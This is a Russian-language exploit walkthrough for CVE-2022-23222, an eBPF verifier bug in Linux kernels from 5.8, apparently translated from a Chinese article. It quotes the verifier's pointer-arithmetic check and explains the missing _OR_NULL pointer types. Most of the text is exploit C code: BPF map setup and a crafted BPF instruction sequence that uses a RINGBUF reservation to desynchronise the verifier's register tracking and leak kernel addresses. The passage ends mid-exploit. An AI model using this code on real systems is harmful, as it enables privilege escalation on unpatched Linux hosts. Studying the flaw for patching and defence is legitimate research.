
CVE-2022-23222, управляется с помощью Rust.
Нажмите здесь, если вы просто хотите собрать и запустить эту штуку. Далее представлен более или менее перевод китайской статьи, доступной здесь.
Мы будем использовать код основного ядра версии 5.13.0 в качестве справочного материала.
Существует несоответствие между доступными типами указателей и функцией, которая проверяет их границы.
Это несоответствие было впервые введено в Linux 5.8 и с тех пор исправлено.
Список доступных типов указателей
доступен здесь.```c
/* types of values stored in eBPF registers /
/ Pointer types represent:
Как видите, существует ряд типов указателей `_OR_NULL`, которые используются, когда указатель может быть... null. Верификатор обычно позволяет выполнить проверку на null только в этой точке или как аргумент в некоторых функциях. Следующая функция, доступная [здесь](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720), отвечает за отслеживание и проверку границ указателей.```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
К сожалению, в этом списке отсутствуют некоторые типы. А именно,
PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM,
PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL,
PTR_TO_RDWR_BUF, и PTR_TO_RDWR_BUF_OR_NULL. Используя тип карты RINGBUF, мы можем создать PTR_TO_MEM_OR_NULL, что позволит нам выполнять арифметические операции, когда не следует.
Сначала мы создаем две карты. Карта ARRAY будет использоваться для передачи информации между пользовательским пространством и BPF-программой. Карта RINGBUF будет использоваться для присвоения регистру эксплуатируемого типа указателя.```c
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
Теперь мы загружаем и запускаем специально созданную BPF-программу, которая сначала сохранит адрес пространства ядра карты `ARRAY` в стеке BPF, а затем использует предыдущую ошибку указателя, чтобы обнулить последний байт этого адреса. Верификатор будет думать, что мы читаем с начала массива, но на самом деле мы читаем на несколько байтов ниже, что (надеюсь) даст нам адрес ядра.```c
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack